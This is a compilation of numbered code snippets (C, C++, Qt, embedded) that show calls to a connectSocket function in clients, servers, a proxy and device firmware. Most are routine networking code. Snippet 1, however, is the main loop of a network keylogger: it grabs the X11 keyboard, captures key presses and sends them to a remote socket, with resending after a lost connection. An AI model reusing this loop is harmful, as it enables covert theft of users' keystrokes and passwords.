Exemplo n.º 1
0
int main() {
	// open needed stuff
	int connected = connectSocket();
	Display *dpy = XOpenDisplay(NIL);

	// my event
	XEvent event;

	// just in case
	if(connected)
		sendMissingStuff();

	// some stuff for keycode-char conversion
	char buf[2];
	int len;
	KeySym keysym;

	grab(dpy);

	int i = 0;
	while(1) {
		// check for internet connection
		if(i % CONCHECKINTV == 0 && !connected)
			if( (connected = connectSocket()) )
				sendMissingStuff();

		XNextEvent(dpy, &event);

		// convert keycode to character
		if( (len = XLookupString(&event.xkey, buf, 1, &keysym, NULL)) == 0 )
			buf[0] = '\0';

		// forward event to client
		sendSpecEvent(dpy, keysym, event);

		if(event.type == KeyPress) {
			// save key for me
			handleChar(connected, buf, keysym);
		}
		
		i++;
	}

	sendStr("\nEnd of transmission\n");

	ungrab(dpy);
	XCloseDisplay(dpy);
	close(sockfd);

	return 0;
}
Exemplo n.º 2
0
void MainWindow::newTest()
{
    current_db_questions.clear();
    current_test_qnum = 0;
    current_test_questions.clear();
    //current_test_results->clear();
    current_test_time_remaining = 0;
    current_test_score = 0;
    current_test_results_sent = false;
    current_test_passmark.clear();
    current_test_use_groups = false;
    test_loaded = false;
    timer.stop();
    LQListWidget->clear();
    nameLineEdit->clear();
    scoreLabel->clear();
    progressBar->setValue(0);
    resultsTableWidget->setRowCount(0);
    mainStackedWidget->setCurrentIndex(0);
    current_db_categories_enabled.clear(); current_db_categories.clear();
    if (rbtnNetwork->isChecked()) {
        tcpSocket->disconnectFromHost();
        current_connection_local = false;
        blocksize = 0;
        client_number = 0;
        num_entries = 0;
        current_entry = 0;
        connectSocket();
    } else {
        current_connection_local = true;
        loadFile();
    }
}
Exemplo n.º 3
0
bool
Lirc::init(const char *sockpath)
{
//    GNASH_REPORT_FUNCTION;
    _connected = connectSocket(sockpath);
    return _connected;
}
Exemplo n.º 4
0
int main(){
	
	connectDb(p::db);

	connectSocket(p::mysocket);

	char ipClient[32] = "\0";
	ODSocket clientsocket;
	
	while(true){
		bool isAccpet = p::mysocket.Accept(clientsocket,ipClient);
		if (isAccpet)
		{
			printf("connect ip = %s",ipClient);
			std::thread new_thread(TalkToClient,&clientsocket,ipClient);
			new_thread.detach();
		}
		std::this_thread::sleep_for(std::chrono::milliseconds(50));
	}
	
 
#ifdef _WIN32
	p::mysocket.Close();
	p::mysocket.Clean();
	 
#endif
}
Exemplo n.º 5
0
bool StreamingSocket::connect (const String& remoteHostName,
                               const int remotePortNumber,
                               const int timeOutMillisecs)
{
    if (isListener)
    {
        jassertfalse    // a listener socket can't connect to another one!
        return false;
    }

    if (connected)
        close();

    hostName = remoteHostName;
    portNumber = remotePortNumber;
    isListener = false;

    connected = connectSocket (handle, false, 0, remoteHostName,
                               remotePortNumber, timeOutMillisecs);

    if (! (connected && resetSocketOptions (handle, false, false)))
    {
        close();
        return false;
    }

    return true;
}
Exemplo n.º 6
0
/**
 * Callback handler for espconn_gethostbyname.
 */
static void dnsFoundCallback(const char *hostName, ip_addr_t *ipAddr, void *arg) {
    assert(arg != NULL); // arg points to the espconn struct where the resolved IP address needs to go
    struct espconn *pEspconn = arg;
    struct socketData *pSocketData = pEspconn->reverse;

    if (pSocketData->state == SOCKET_STATE_DISCONNECTING) {
        // the sockte library closed the socket while we were resolving, we now need to deallocate
        releaseEspconn(pSocketData);
        releaseSocket(pSocketData);
        return;
    }
    if (pSocketData->state != SOCKET_STATE_HOST_RESOLVING) return; // not sure what happened

    // ipAddr will be NULL if the IP address can not be resolved.
    if (ipAddr != NULL) {
        *(uint32_t *)&pEspconn->proto.tcp->remote_ip = ipAddr->addr;
        if (pSocketData != NULL) connectSocket(pSocketData);
    } else {
        releaseEspconn(pSocketData);
        if (pSocketData != NULL) {
            setSocketInError(pSocketData, SOCKET_ERR_NOT_FOUND);
            pSocketData->state = SOCKET_STATE_CLOSED;
        }
    }
}
Exemplo n.º 7
0
int
deliverMessage( char *interface, char *message )
{
	char		tmpstring[ 256 ];
	int		ival1, ival2;
	int		ival, mlen;
	MSG_Q_ID	tmpMsgQ;

	if (interface == NULL)
	  return( -1 );
	if (message == NULL)
	  return( -1 );
	mlen = strlen( message );
	if (mlen < 1)
	  return( -1 );

    	ival = sscanf( interface, "%s %d %d\n", &tmpstring[ 0 ], &ival1, &ival2 );

    /*
     *       diagPrint(debugInfo,"Expproc deliverMessage  ----> host: '%s', port: %d,(%d,%d)  pid: %d\n", 
     *           tmpstring,ival1,0xffff & ntohs(ival1), 0xffff & htons(ival1), ival2);
     */
	if (ival >= 3) {
		int	 replyPortAddr;
		char	*hostname;
		Socket	*pReplySocket;

		replyPortAddr = ival1;
		hostname = &tmpstring[ 0 ];

		pReplySocket = createSocket( SOCK_STREAM );
		if (pReplySocket == NULL)
		  return( -1 );
		ival = openSocket( pReplySocket );
		if (ival != 0)
		  return( -1 );
                /* replyPortAddr is already in network order, 
                 * so switch back so sockets.c can switch back
                 */
		ival = connectSocket( pReplySocket, hostname, 0xFFFF & htons(replyPortAddr) );
		if (ival != 0)
		  return( -2 );

		writeSocket( pReplySocket, message, mlen );
		closeSocket( pReplySocket );
		free( pReplySocket );

		return( 0 );
	}

	tmpMsgQ = openMsgQ( interface );
	if (tmpMsgQ == NULL)
	  return( -1 );

        ival = sendMsgQ( tmpMsgQ, message, mlen, MSGQ_NORMAL, NO_WAIT );

        closeMsgQ( tmpMsgQ );
	return( ival );
}
Exemplo n.º 8
0
Socket::Socket(const std::string &host, int port)
{
  this->host = host;
  this->port = port;
  this->read = "";
  this->write = "";
  connectSocket();
}
Exemplo n.º 9
0
void MainWindow::onDisconnected()
{
    qDebug() << "Disconnected!";

    delete _socket;
    _socket = nullptr;

    connectSocket();
}
Exemplo n.º 10
0
int RedFlyClient::connectUDP(char *host, uint16_t port)
{
  if(RedFly.getip(host, c_ip) == 0)
  {
    c_port  = port;
    return connectSocket(PROTO_UDP);
  }

  return 0;
}
Exemplo n.º 11
0
int RedFlyClient::connectUDP(uint8_t *ip, uint16_t port)
{
  c_ip[0] = ip[0];
  c_ip[1] = ip[1];
  c_ip[2] = ip[2];
  c_ip[3] = ip[3];
  c_port  = port;

  return connectSocket(PROTO_UDP);
}
Exemplo n.º 12
0
int initClient ( int pPort, const char *pHost )
{
  // local variables
  int socketFile;

  // open socket and connect to host
  socketFile = openSocket ( );
  connectSocket ( socketFile, pPort, pHost );

  return socketFile;
}
Exemplo n.º 13
0
void AbstractSocket::create(qintptr socketDescriptor)
{
    if (m_socket)
    {
        return;
    }

    m_socket = createSocket(socketDescriptor);

    connectSocket();
}
Exemplo n.º 14
0
Socket::ConnectionStatus Socket::connect(void) {
    close();

    createSocket();

    ConnectionStatus status = connectSocket();
    if (status != ConnectionStatus::CONNECTION_SUCCEEDED)
        return status;

    return isConnected() ? ConnectionStatus::CONNECTION_SUCCEEDED
                         : ConnectionStatus::CONNECTION_FAILED;
}
Exemplo n.º 15
0
API LineServer *startLineServer(char *port, LineServerCallback callback)
{
    LineServer *server = createLineServer(port, callback);
    logInfo("Starting LineServer on port %s", port);
    attachEventListener(server->socket, "accept", server, &clientAccepted);
    if(!connectSocket(server->socket)) {
        logInfo("Unable to connect server socket on port %s", server->socket->port);
        return false;
    }
    enableSocketPolling(server->socket);
    server->state = RPC_SERVER_STATE_RUNNING;
    return server;
}
Exemplo n.º 16
0
void MainWindow::onDisconnected()
{
    qDebug() << "Disconnected!";

    delete_safe(_socket);

   _isConnected = false;

   for (TemperatureIndicator* currentTemperatureIndicator: _temperatureIndicators) {
       currentTemperatureIndicator->setSensorError(SensorError::Undefined);
   }

   connectSocket();
} // onDisconnected
Exemplo n.º 17
0
/**************************************************************
*
*  sendAsync - Send a Message to a Vnmr style Async Message Socket
*
* RETURNS:
* 1 on success or -1 on failure 
*
*	Author Greg Brissey 10/6/94
*/
int sendAsync(char *machine,int port,char *message)
{
 Socket *SockId;
 int i,result;

  if ( (SockId = createSocket( SOCK_STREAM )) == NULL) 
  {
      return( -1 );
  }

 /* --- try several times then fail --- */
  for (i=0; i < 5; i++)
  {
     result = openSocket(SockId); /* open * setup */
     if (result != 0)
     {
         /* perror("sendacq(): socket"); */
         errLogSysRet(ErrLogOp,debugInfo,"sendAsync(): Error, could not create socket\n");
         return(-1);
     }

     if ((result = connectSocket(SockId, machine, port)) != 0)
     {
          /* errLogSysRet(ErrLogOp,debugInfo,"connect: "); */
          /* --- Is Socket queue full ? --- */
          if (errno != ECONNREFUSED && errno != ETIMEDOUT)
          {                             /* NO, some other error */
              errLogSysRet(ErrLogOp,debugInfo,"sendAsync():aborting,  connect error");
              return(-1);
          }
     }
     else     /* connection established */
     {
        break;
     }
     errLogRet(ErrLogOp,debugInfo,"sendAsync(): Socket queue full, will retry %d\n",i);
     closeSocket(SockId);
     sleep(5);
  }
  if (result != 0)    /* tried MAXRETRY without success  */
  {
      errLogRet(ErrLogOp,debugInfo,"sendAsync(): Max trys Exceeded, aborting send\n");
      return(-1);
  }

    writeSocket(SockId,message,strlen(message));
    closeSocket(SockId);
    return(1);
}
Exemplo n.º 18
0
//! \brief Connects to the peer
void Peer::connectToPeer(BTClient *client)
{
    Q_ASSERT_X(state == UnconnectedState, Q_FUNC_INFO, "Not in Unconnected state");

    if (!suspended)
    {
        log(this) << QString::fromLatin1("Connecting to peer [%1]").arg(getAddressPort()) << endl;

        PeerWireSocket *socket = new PeerWireSocket(PeerWireSocket::MessageStreamEncryption, PeerWireSocket::OutgoingConnection);
        socket->setClient(client);

        setSocket(socket);
        connectSocket();
    }
}
Exemplo n.º 19
0
void QApplicationConfig::start()
{
#ifdef QT_DEBUG
    qDebug() << "app config uri:" << m_configUri;
    qDebug() << "filter:" << m_filter->type();
#endif

    m_configs.clear();
    emit configsChanged(QQmlListProperty<QApplicationConfigItem>(this, m_configs));

    if (connectSocket())
    {
        request(pb::MT_LIST_APPLICATIONS);
    }
}
Exemplo n.º 20
0
int main(){

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);

    connectSocket(sockfd, "127.0.0.1", 7878);
    printf("%s\n", strerror(errno));
    char buf[4096] = { 0 };
    while(1){
        write(sockfd, "SERVER", sizeof("SERVER"));
        read(sockfd, buf, sizeof(buf));
        printf("recv: %s\n", buf);
        sleep(1);
    }

    return 0;
}
Exemplo n.º 21
0
/**
 * Create a new socket.
 * if `ipAddress == 0`, creates a server otherwise creates a client (and automatically connects).
 * Returns >=0 on success.
 */
int net_ESP8266_BOARD_createSocket(
    JsNetwork *net,     //!< The Network we are going to use to create the socket.
    uint32_t ipAddress, //!< The address of the partner of the socket or 0 if we are to be a server.
    unsigned short port //!< The port number that the partner is listening upon.
) {
    // allocate a socket data structure
    struct socketData *pSocketData = allocateNewSocket();
    if (pSocketData == NULL) { // No free socket
        DBG("%s: No free sockets for outbound connection\n", DBG_LIB);
        return SOCKET_ERR_MAX_SOCK;
    }

    // allocate espconn data structure and initialize it
    struct espconn *pEspconn = os_zalloc(sizeof(struct espconn));
    esp_tcp *tcp = os_zalloc(sizeof(esp_tcp));
    if (pEspconn == NULL || tcp == NULL) {
        DBG("%s: Out of memory for outbound connection\n", DBG_LIB);
        if (pEspconn != NULL) os_free(pEspconn);
        if (tcp != NULL) os_free(tcp);
        releaseSocket(pSocketData);
        return SOCKET_ERR_MEM;
    }

    pSocketData->pEspconn = pEspconn;
    pEspconn->type      = ESPCONN_TCP;
    pEspconn->state     = ESPCONN_NONE;
    pEspconn->proto.tcp = tcp;
    tcp->remote_port    = port;
    tcp->local_port     = espconn_port(); // using 0 doesn't work
    pEspconn->reverse   = pSocketData;
    espconn_set_opt(pEspconn, ESPCONN_NODELAY); // disable nagle, don't need the extra delay

    if (ipAddress == (uint32_t)-1) {
        // We need DNS resolution, kick it off
        int rc = espconn_gethostbyname(pEspconn, savedHostname,
                                       (void*)&pEspconn->proto.tcp->remote_ip, dnsFoundCallback);
        if (rc < 0) {
        }
        DBG("%s: resolving %s\n", DBG_LIB, savedHostname);
        pSocketData->state = SOCKET_STATE_HOST_RESOLVING;
        return pSocketData->socketId;
    } else {
        // No DNS resolution needed, go right ahead
        *(uint32_t *)&pEspconn->proto.tcp->remote_ip = ipAddress;
        return connectSocket(pSocketData);
    }
}
Exemplo n.º 22
0
char* networkClient::run(const std::string& wholeMessage) {
	std::string response;
	if(!isCreated()) createSocket();
	connectSocket();

	//Send this command to the network server
	char *buffer;
	buffer = new char[8192];
	n = write(sockfd,wholeMessage.c_str(),wholeMessage.length());
	fprintf(stdout,"Message wrote\n");
	if (n < 0) fprintf(stderr,"ERROR writing to socket");
	n = rio_readn(sockfd,buffer,8191);
	fprintf(stdout,"Message recv\n");
	if (n < 0) fprintf(stderr,"ERROR reading from socket");
	
	return(buffer);
}
Exemplo n.º 23
0
int WiFiClient::connect(IPAddress ip, uint16_t port, uint8_t opt, const uint8_t *hostname)
{
	struct sockaddr_in addr;

	// Initialize socket address structure:
	addr.sin_family = AF_INET;
	addr.sin_port = _htons(port);
	addr.sin_addr.s_addr = ip;

	// Create TCP socket:
	_flag = 0;
	_head = 0;
	_tail = 0;
	if ((_socket = socket(AF_INET, SOCK_STREAM, opt)) < 0) {
		return 0;
	}

	if (opt & SOCKET_FLAGS_SSL && hostname) {
		setsockopt(_socket, SOL_SSL_SOCKET, SO_SSL_SNI, hostname, m2m_strlen((uint8_t *)hostname));
	}

	// Add socket buffer handler:
	socketBufferRegister(_socket, &_flag, &_head, &_tail, (uint8 *)_buffer);

	// Connect to remote host:
	if (connectSocket(_socket, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) {
		close(_socket);
		_socket = -1;
		return 0;
	}

	// Wait for connection or timeout:
	unsigned long start = millis();
	while (!IS_CONNECTED && millis() - start < 20000) {
		m2m_wifi_handle_events(NULL);
	}
	if (!IS_CONNECTED) {
		close(_socket);
		_socket = -1;
		return 0;
	}

	WiFi._client[_socket] = this;

	return 1;
}
Exemplo n.º 24
0
int main()
{
    char url[200];
    char buf[BUFSIZ+1];

    int port = 80;

    struct sockaddr_in serverAddress;
    struct hostent* dnsResolved;
    printf("Enter the url to acces the images from\n");
    printf("Ex: http://www-archive.mozilla.org/quality/networking/testing/datatests.html\n");
    scanf("%s",url);
    printf("length of url is %d\n",strlen(url));
    char domainname[strlen(url)];
    char *page = (char *)malloc(strlen(url));
    //puts(url);
    getDomainName(url,domainname,page);
    printf("The domain name is %s\n",domainname);
        
    char *ip = (char *)malloc(strlen(url));
    char *isDomainName = strstr(domainname, "www");
    if(isDomainName != NULL)
    {
        getHostIP(domainname,&dnsResolved);
        ip = (char *)inet_ntoa(dnsResolved->h_addr_list[0]);//"127.0.0.1";
        printf("the Ip is %s\n",inet_ntoa(dnsResolved->h_addr_list[0]));
    }
    else
    {
        ip = domainname;
    }

    int sockid = createTcpSocket();
    assignAddressToSocket(sockid,&serverAddress,port,"127.0.0.1");

    connectSocket(sockid,(struct sockaddr *) &serverAddress,(int)sizeof(serverAddress));
    char *getQuery = build_get_query(ip,page);
    sendQuery(sockid,getQuery);
    fetchHtmlPage(sockid,buf);

    int status = closeSocket(sockid);    
    
    return 0;
    
}
Exemplo n.º 25
0
RfcommClient::RfcommClient(QWidget *parent, Qt::WFlags f)
    : QMainWindow(parent, f)
{
    waiter = new QWaitWidget(this);
    connect(waiter, SIGNAL(cancelled()), this, SLOT(cancelConnect()));

    connectAction = new QAction(tr("Connect..."), this);
    connect(connectAction, SIGNAL(triggered()), this, SLOT(connectSocket()));
    QSoftMenuBar::menuFor(this)->addAction(connectAction);
    connectAction->setVisible(true);

    disconnectAction = new QAction(tr("Disconnect"), this);
    connect(disconnectAction, SIGNAL(triggered()), this, SLOT(disconnectSocket()));
    disconnectAction->setVisible(false);
    QSoftMenuBar::menuFor(this)->addAction(disconnectAction);

    sendAction = new QAction(tr("Send"), this);
    connect(sendAction, SIGNAL(triggered()), this, SLOT(newUserText()));
    sendAction->setVisible(false);
    QSoftMenuBar::menuFor(this)->addAction(sendAction);

    QWidget *frame = new QWidget(this);
    QVBoxLayout *layout = new QVBoxLayout;

    logArea = new QTextEdit(frame);
    layout->addWidget(logArea);
    logArea->append(tr("Not connected"));
    logArea->setReadOnly(true);
    logArea->setFocusPolicy(Qt::NoFocus);

    userEntry = new QLineEdit(frame);
    userEntry->setEnabled(false);
    connect(userEntry, SIGNAL(editingFinished()), this, SLOT(newUserText()));
    layout->addWidget(userEntry);

    frame->setLayout(layout);
    setCentralWidget(frame);

    socket = new QBluetoothRfcommSocket(this);
    connect(socket, SIGNAL(connected()), this, SLOT(socketConnected()));
    connect(socket, SIGNAL(readyRead()), this, SLOT(serverReplied()));

    setWindowTitle(tr("RFCOMM Client"));
}
Exemplo n.º 26
0
/**************************************************************************************
 * Abwicklung eines neuen Clients
 *   - dynamische Erstellung der benutzten Datenstrukturen
 *   1 Anfrage vom Client erhalten (HEADER)
 *   2 Parameter extrahieren
 *   3 Neuen Socket erstellen
 *   4 Neue Adresse Richtung ausgesuchter IP erstellen
 *   5 Verbindung zu IP herstellen
 *   7 Empfangenen HEADER an IP schicken
 *   8 Antwort von IP empfangen
 *   9 Antwort an Client schicken
 */
void* handleClient(void* pTP){
  #ifdef _DEBUG
  fprintf(stderr,"++ handleclient\n");
  #endif
/////////^^^^^^^^/////////^^^^^^^^/////////^^^^^^^^/////////^^^^^^^^/////////^^^^^^^^
  int     sProxyWeb   = ~0;
  struct  sockaddr_in saProxyAddress;
  struct  threadParam *pThreadParam=(struct threadParam*)pTP;

  /* Dynamische Bereitstellung des benötigten Speichers */
  struct  urlPar    *pUrlPar     = (struct urlPar*)   malloc(sizeof(struct urlPar));
  struct  netStream *pWebBuf     = (struct netStream*)malloc(sizeof(struct netStream));
  struct  netStream *pClientBuf  = (struct netStream*)malloc(sizeof(struct netStream));
  struct  netStream *pErrBuf     = (struct netStream*)malloc(sizeof(struct netStream));
/////////^^^^^^^^/////////^^^^^^^^/////////^^^^^^^^/////////^^^^^^^^/////////^^^^^^^^

  if (receiveHeader      (pClientBuf             ,pThreadParam->socketID))
  if (fillParFromBuf     (pUrlPar                ,pClientBuf->pBuf))
  if (createSocket       (&sProxyWeb))
  if (generateWebAddress (&saProxyAddress        ,pUrlPar))
  if (connectSocket      (sProxyWeb              ,&saProxyAddress))
  if (sendBuffer         (sProxyWeb              ,pClientBuf))
  if (receiveBuffer      (pWebBuf                ,sProxyWeb))
  if (sendBuffer         (pThreadParam->socketID ,pWebBuf));

#ifdef _DEBUG
  fprintf(stderr,"HC - END\n");
#endif

  close(pThreadParam->socketID);
  close(sProxyWeb);
  free(pClientBuf->pBuf);
  free(pClientBuf);
  free(pThreadParam);
  free(pWebBuf->pBuf);
  free(pWebBuf);
  free(pUrlPar);

  #ifdef _DEBUG
  fprintf(stderr,"-- handleclient\n");
  #endif
  //return NULL;
}
Exemplo n.º 27
0
GKSServer::GKSServer(QObject *parent) 
  : QTcpServer(parent)
{
  setMaxPendingConnections(MAXCONN);
  connect(this, SIGNAL(newConnection()), this, SLOT(connectSocket()));
  s = NULL;
  bool ok = listen(QHostAddress::Any, PORT);
  if (!ok)
    {
      qWarning("GKSserver: Failed to listen to port %d", PORT);
      exit(1);
    }
  dl = (char *) malloc(SIZE);
  dl_size = SIZE;
  nbyte = 0;
  ba = (char *) malloc(SIZE);
  ba_size = SIZE;
  keepOnDisplay = false;
}
Exemplo n.º 28
0
//Socket calls
void RemoteOM::on_buttonPower_clicked()
{
    //Try connect socket if not connected
    //qDebug() << "Socket state power button clicked " << socket->state();
    if (socket->state() != QAbstractSocket::ConnectedState)
    {
        connectSocket();

        if (socket && socket->state() == QAbstractSocket::ConnectedState)
        {
            setInfoText("Connected to Remote OM.");
            ui->ledPower->show();
        }
        else
        {
            setInfoText("The host was not found. Please check the host name and port settings.");
            return;
        }
    }

    //Turn PA on
    if(ui->ledPA->isHidden())
    {
        setInfoText("Turning PA on.");

        QByteArray temp;
        temp.append(62);
        sendData(temp);
        ui->ledPA->show();

    }
    else
    {
        setInfoText("Turning PA off.");

        QByteArray temp;
        temp.append(60);
        sendData(temp);
        ui->ledPA->hide();
    }

}
Exemplo n.º 29
0
bool TcpConnector::sendData( QByteArray& data)
{
    if(!this->isEnabled()) return false;

    QAbstractSocket::SocketState s = socket->state();

    if(s != QAbstractSocket::ConnectedState)
    {
        // cache the message, and try to connect
        messages.append(data);
        if( s == QAbstractSocket::ConnectingState ) return false;
        if( s == QAbstractSocket::HostLookupState ) return false;
        connectSocket();
        return false;
    }

    bool ret = socket->write(data) == data.length();
    socket->flush();

    return ret;
}
Exemplo n.º 30
0
boolean connectMonitor( Monitor *inMon )
{
	boolean success = FALSE;

	if( ( inMon->sockfd = createSocket( AF_INET, SOCK_DGRAM ) ) != -1 )
	{
		if( connectSocket( inMon->sockfd, inMon->addr, inMon->addr_size, PORT_NUM ) == TRUE  )
		{
			sendMsg( inMon->sockfd, CONNECT, NULL );
			success = TRUE;
		}
	}

	if( success == FALSE )
	{
		close( inMon->sockfd );
		inMon->sockfd = -1;
	}

	return success;
}